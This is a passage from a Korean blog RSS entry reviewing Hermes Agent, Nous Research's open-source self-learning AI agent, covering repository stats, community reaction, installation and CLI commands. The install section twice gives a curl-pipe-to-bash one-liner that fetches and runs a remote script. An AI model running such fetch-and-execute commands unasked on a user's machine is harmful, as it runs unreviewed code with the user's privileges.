<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>갓대희의 작은공간</title>
    <link>https://goddaehee.tistory.com/</link>
    <description>갓대희의 &amp;quot;개발&amp;quot; 공간</description>
    <language>ko</language>
    <pubDate>Fri, 10 Apr 2026 12:10:18 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>갓대희</managingEditor>
    <image>
      <title>갓대희의 작은공간</title>
      <url>https://tistory1.daumcdn.net/tistory/1994430/attach/8b53fab4a06a48c9af35626f50806b94</url>
      <link>https://goddaehee.tistory.com</link>
    </image>
    <item>
      <title>Hermes Agent 리뷰 : 쓸수록 똑똑해지는 AI 에이전트(자가학습 메커니즘) - Hermes Agent로 반복 업무 자동화하기</title>
      <link>https://goddaehee.tistory.com/577</link>
      <description>&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1082&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DBIB7/dJMcaduLXWX/mEsLIrfev1XzKfYuqvJaO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DBIB7/dJMcaduLXWX/mEsLIrfev1XzKfYuqvJaO0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DBIB7/dJMcaduLXWX/mEsLIrfev1XzKfYuqvJaO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDBIB7%2FdJMcaduLXWX%2FmEsLIrfev1XzKfYuqvJaO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1982&quot; height=&quot;1082&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1082&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Claude에게 프로젝트 구조를 설명했는데, 다음 세션에서 또 처음부터 설명하고 있는 자신을 발견한 적 있는가? 대부분의 AI 에이전트는 세션이 끝나면 모든 맥락을 잃는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Hermes Agent는 이 문제를 정면으로 다룬다. 슬로건이 &lt;b&gt;&quot;The agent that grows with you&quot;&lt;/b&gt;인데, 같은 유형의 작업을 반복하면 패턴을 마크다운 스킬 파일로 저장해서, 다음에 비슷한 요청이 들어오면 처음부터 하지 않고 학습된 방식으로 처리한다. 실측으로 동일 작업에서 40% 속도 향상이 보고됐다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://thenewstack.io/persistent-ai-agents-compared/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The New Stack&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글에서는 직접 설치해보면서 겪은 내용을 중심으로, 자가학습이 실제로 어떻게 동작하는지, 비용은 얼마나 드는지, 그리고 솔직한 한계까지 정리한다.&lt;/p&gt;
&lt;!-- TL;DR --&gt;
&lt;div style=&quot;background-color: #f0f7ff; border: 2px solid #0066cc; border-radius: 12px; padding: 20px 25px; margin: 15px 0 25px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3줄 요약&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. Hermes Agent는 반복 작업 패턴을 스킬로 자동 학습하고, 세션 간 기억을 유지하는 오픈소스 AI 에이전트다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. curl 한 줄로 설치, 터미널/Telegram/Discord 등 15+ 플랫폼에서 원격 제어 가능. 월 비용은 API 종량제 기준 $10~$80 수준.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 단, IDE 통합 없음, 토큰 오버헤드 73%, 미해결 보안 이슈(RCE), 50회 이상 반복해야 학습 효과 체감 &amp;mdash; 프로덕션 투입 전 반드시 검토 필요.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이런 분에게 추천&lt;/b&gt;: 반복 작업을 자동화하고 싶은 개발자, VPS에서 24/7 에이전트를 돌리고 싶은 사람, OpenClaw에서 넘어올 곳을 찾는 사람&lt;br /&gt;&lt;b&gt;추천하지 않는 경우&lt;/b&gt;: IDE 안에서 인라인 코드 어시스턴트가 필요한 경우, 단발성 1회 작업, Windows 네이티브 환경&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;!-- 목차 박스 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목차&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;프로젝트 개요 및 Nous Research 배경&lt;/li&gt;
&lt;li&gt;설치 및 시작하기&lt;/li&gt;
&lt;li&gt;핵심 기능 상세&lt;/li&gt;
&lt;li&gt;기술 아키텍처 분석&lt;/li&gt;
&lt;li&gt;소스코드 핵심 분석&lt;/li&gt;
&lt;li&gt;활용법 및 통합&lt;/li&gt;
&lt;li&gt;실전 사용 예시&lt;/li&gt;
&lt;li&gt;제한사항 및 주의사항&lt;/li&gt;
&lt;li&gt;트러블슈팅 Q&amp;amp;A&lt;/li&gt;
&lt;li&gt;자율 에이전트 트렌드 맥락&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 프로젝트 개요 및 Nous Research 배경&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Nous Research는 어떤 곳인가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Nous Research는 공식 사이트, Hermes Agent 공식 문서, Hugging Face 조직 페이지를 통해 Hermes 계열 모델과 에이전트 소프트웨어를 공개하는 연구 조직임을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Hermes Agent 공식 소개 문구는 이를 &quot;The self-improving AI agent built by Nous Research&quot;라고 설명한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://nousresearch.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Nous Research 공식 사이트&lt;/a&gt; + &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Agent 공식 문서&lt;/a&gt; + &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://huggingface.co/NousResearch&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hugging Face NousResearch 조직 페이지&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;저장소 지표 (2026-04-09 기준)&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;규모 (실시간 변동)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;GitHub 스타&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;41,273&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;포크&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;5,273&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;오픈 이슈+PR&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://api.github.com/repos/NousResearch/hermes-agent&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2,306&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기본 브랜치&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;main&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기여자&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/graphs/contributors&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;254&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;최신 릴리즈&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/releases/tag/v2026.4.8&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Agent v0.8.0 (v2026.4.8)&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;라이선스&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;MIT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;주 언어&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Python&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저장소 토픽 태그에는 &lt;code&gt;anthropic&lt;/code&gt;, &lt;code&gt;claude&lt;/code&gt;, &lt;code&gt;openai&lt;/code&gt;, &lt;code&gt;codex&lt;/code&gt;, &lt;code&gt;openclaw&lt;/code&gt;, &lt;code&gt;nous-research&lt;/code&gt; 등이 포함되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커뮤니티 반응 : 두 달 만에 35,000 스타를 받은 이유&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1070&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/siMM1/dJMcadatzZh/JABKTwUQHOCPkxAfT9T6s1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/siMM1/dJMcadatzZh/JABKTwUQHOCPkxAfT9T6s1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/siMM1/dJMcadatzZh/JABKTwUQHOCPkxAfT9T6s1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsiMM1%2FdJMcadatzZh%2FJABKTwUQHOCPkxAfT9T6s1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2010&quot; height=&quot;1070&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1070&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Hermes Agent는 2026년 2월 25일 v0.1.0 출시 이후 두 달 만에 35,000개 이상의 GitHub 스타를 기록했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단순한 인기가 아니라, 오픈소스 AI 커뮤니티에서 &quot;이 방향이 맞다&quot;는 신호가 집단적으로 터져 나온 결과다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공식 론칭과 즉각적 바이럴&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;@NousResearch가 &lt;a href=&quot;https://x.com/NousResearch/status/2026758996107898954&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 론칭 트윗&lt;/a&gt;에서 &quot;Meet Hermes Agent, the open source agent that grows with you&quot;라는 메시지를 올리자마자 커뮤니티가 반응했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AI 전문 유튜버 Wes Roth는 다음 날 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://x.com/WesRoth/status/2026960434650075512&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;상세 분석 게시물&lt;/a&gt;에서 &quot;unlike standard stateless bots, Hermes Agent features a multi-level memory system paired with persistent dedicated machine access(일반적인&amp;nbsp;stateless&amp;nbsp;봇과&amp;nbsp;달리,&amp;nbsp;Hermes&amp;nbsp;Agent는&amp;nbsp;다단계&amp;nbsp;메모리&amp;nbsp;시스템과&amp;nbsp;지속적인&amp;nbsp;전용&amp;nbsp;머신&amp;nbsp;접근&amp;nbsp;기능을&amp;nbsp;제공합니다.)&quot;라며 기존 에이전트와의 차별점을 부각했다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;1078&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Mw4Ka/dJMcagZnQOa/IU5tjsz6klRGnvnk7QsJ2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Mw4Ka/dJMcagZnQOa/IU5tjsz6klRGnvnk7QsJ2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Mw4Ka/dJMcagZnQOa/IU5tjsz6klRGnvnk7QsJ2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMw4Ka%2FdJMcagZnQOa%2FIU5tjsz6klRGnvnk7QsJ2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1980&quot; height=&quot;1078&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;1078&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;OpenRouter &quot;trending all week&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;출시 직후 OpenRouter가 &quot;Hermes Agent가 이번 주 내내 트렌딩 중이며 여러 순위에 올라 있다&quot;고 공식 확인했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;유료 API 연동 기반의 실제 사용량 급증을 의미한다. 단순 스타가 아닌 실사용 트래픽이 급증했다는 외부 검증이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해커톤 187개 제출 &amp;mdash; 플랫폼으로 확장되는 신호&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;출시 한 달여 만에 개최된 해커톤에 187개 프로젝트가 제출됐다($11,750 상금).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저 사이드카 확장, 재귀적 LoRA 자가개선, 인지 압축 스킬 등 단순 사용을 넘어 플랫폼으로서 확장되고 있음을 보여준다. NousResearch는 &quot;Thank you to all 187 submitters. We loved seeing the range of domains and all of the uses for Hermes Agent you found that we could never have designed around(187명의&amp;nbsp;모든&amp;nbsp;제출자분들께&amp;nbsp;감사드립니다.&amp;nbsp;여러분이&amp;nbsp;발견해주신&amp;nbsp;다양한&amp;nbsp;도메인과&amp;nbsp;Hermes&amp;nbsp;Agent의&amp;nbsp;활용&amp;nbsp;사례들을&amp;nbsp;보는&amp;nbsp;것이&amp;nbsp;정말&amp;nbsp;즐거웠습니다.&amp;nbsp;저희는&amp;nbsp;절대&amp;nbsp;상상도&amp;nbsp;못&amp;nbsp;했던&amp;nbsp;그런&amp;nbsp;용도들이었어요.)&quot;이라고 밝혔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;OpenClaw 사용자의 이전 &amp;mdash; &quot;그냥 된다&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커뮤니티에서 가장 주목받는 흐름은 기존 OpenClaw 사용자의 대거 이전이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;I switched to Hermes and honestly so far so good! I migrated my crons, memories and keys in one night. That just works(Hermes로 바꿨는데, 솔직히 지금까지는 정말 좋네요! crons, memories, keys까지 하룻밤 만에 다 옮겼어요. 그냥 잘 됩니다.)&quot;라는 후기가 반복 등장했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://thenewstack.io/persistent-ai-agents-compared/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The New Stack 비교 분석&lt;/a&gt;은 OpenClaw가 잦은 업데이트로 기존 설정을 자주 깨뜨리는 반면, Hermes는 더 안정적이라는 사용자 경험을 구체적으로 기록했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Kevin Simback은 &quot;내가 Hermes의 우위를 확신하지 못했던 이유는 OpenClaw 커뮤니티의 강점 때문이었는데, 이제는 자신 있게 말할 수 있다 &amp;mdash; Hermes 커뮤니티가 압도적&quot;이라고 밝혔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;비기술 사용자도 진입 가능 &amp;mdash; &quot;나 같은 사람을 위해 만들어진 것 같다&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;v0.4.0 업데이트 이후 &quot;코드 없이, 복잡한 설정 없이, 그냥 더 나아졌다&quot;는 비기술 사용자의 후기가 이어졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코딩 없이도 쓸 수 있다는 점이 개발자 외 사용자에게도 문턱을 낮춘다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.buildmvpfast.com/blog/hermes-agent-v04-open-source-agent-infrastructure-2026&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;buildmvpfast.com &amp;mdash; v0.4.0 분석&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;반복 작업에서의 실측 효과&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The New Stack 분석에 따르면, Hermes가 동일 리서치 작업에서 스킬을 자동 생성한 이후 약 40% 속도 향상이 보고됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스킬 학습 전후의 속도 차이가 실측으로 확인된 사례다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://thenewstack.io/persistent-ai-agents-compared/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The New Stack &amp;mdash; OpenClaw vs. Hermes Agent 비교&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 설치 및 시작하기&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;원라이너 설치&lt;/h3&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 한 줄이 전부다. 스크립트를 열어보면 순차적으로 꽤 많은 것을 처리한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2014&quot; data-origin-height=&quot;1106&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b04vHY/dJMcagyjirf/1lyXBb1KxOEeXb90mrKPKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b04vHY/dJMcagyjirf/1lyXBb1KxOEeXb90mrKPKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b04vHY/dJMcagyjirf/1lyXBb1KxOEeXb90mrKPKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb04vHY%2FdJMcagyjirf%2F1lyXBb1KxOEeXb90mrKPKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2014&quot; height=&quot;1106&quot; data-origin-width=&quot;2014&quot; data-origin-height=&quot;1106&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;install.sh가 하는 일&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스크립트가 알아서 &lt;b&gt;uv&lt;/b&gt;(패키지 매니저), &lt;b&gt;Python 3.11&lt;/b&gt;, &lt;b&gt;Node.js 22 LTS&lt;/b&gt;까지 깔아준다. &lt;b&gt;ripgrep&lt;/b&gt;이나 &lt;b&gt;ffmpeg&lt;/b&gt; 같은 부수 도구도 OS에 맞는 패키지 매니저를 찾아서 설치한다. Git clone은 SSH를 먼저 시도하고, 안 되면 HTTPS로 넘어간다. 가상환경도 자동 생성되고, systemd gateway 서비스도 원하면 함께 설치된다. 한마디로, curl 한 줄 치면 나머지는 스크립트가 처리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;지원 플랫폼&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Linux, macOS, WSL2에서 동작한다. Windows 네이티브는 안 된다. install.sh가 Windows를 감지하면 PowerShell 인스톨러로 안내하고 멈춘다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;핵심 CLI 명령&lt;/h3&gt;
&lt;pre class=&quot;autoit&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;hermes          # 인터랙티브 CLI 시작
hermes model    # LLM 공급자 선택
hermes tools    # 도구 설정
hermes gateway  # 메시징 플랫폼 연결
hermes setup    # 전체 설정 마법사
hermes auth     # 자격증명 관리 (v0.8.0에서 구 'hermes login' 대체)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;hermes setup&lt;/code&gt;은 설정 마법사로, v0.7.0에서 커스텀 엔드포인트를 덮어쓰지 않도록 개선됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;첫 실행 : 설치 후 실제 흐름&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치 후 실제로 겪게 되는 흐름을 정리한다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/getting-started/quickstart/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Quickstart 문서&lt;/a&gt;)&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 1. 설치
curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash
# &amp;rarr; Done: 77 new, 0 updated, 0 unchanged. 77 total bundled.
# &amp;rarr; Skills synced to ~/.hermes/skills/
source ~/.zshrc    # 또는 source ~/.bashrc

# 2. 첫 실행 &amp;rarr; Setup Wizard 자동 시작
hermes
# &amp;rarr; Starting setup wizard...
#
